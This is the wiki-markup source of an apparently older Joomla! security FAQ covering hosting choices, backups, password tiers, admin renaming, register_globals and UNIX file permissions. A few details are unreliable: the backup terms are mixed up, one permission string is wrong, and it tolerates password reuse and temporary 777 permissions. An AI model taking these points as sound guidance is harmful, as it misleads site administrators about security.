| Medium&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Thousands of Online Volunteers&lt;br /&gt;
| High&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
| Paid Professional Support&lt;br /&gt;
| Widely Available&lt;br /&gt;
| align=&amp;quot;right&amp;quot; | 0&lt;br /&gt;
|-&lt;br /&gt;
! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;Total&#039;&#039;&#039; !! &amp;amp;nbsp; !! align=&amp;quot;right&amp;quot; | &#039;&#039;&#039;0&#039;&#039;&#039;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==What is the Joomla! Administrator&#039;s Security Checklist?==&lt;br /&gt;
&lt;br /&gt;
The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.&lt;br /&gt;
&lt;br /&gt;
==What are the top 10 stupidest Joomla! security tricks?==&lt;br /&gt;
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].&lt;br /&gt;
&lt;br /&gt;
==How do I choose a quality hosting provider?==&lt;br /&gt;
&lt;br /&gt;
The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Choose *NIX:&#039;&#039;&#039; Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options. &lt;br /&gt;
* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider recommendations:&#039;&#039;&#039; Check this [http://forum.joomla.org/index.php/topic,6856.0.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly can not be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
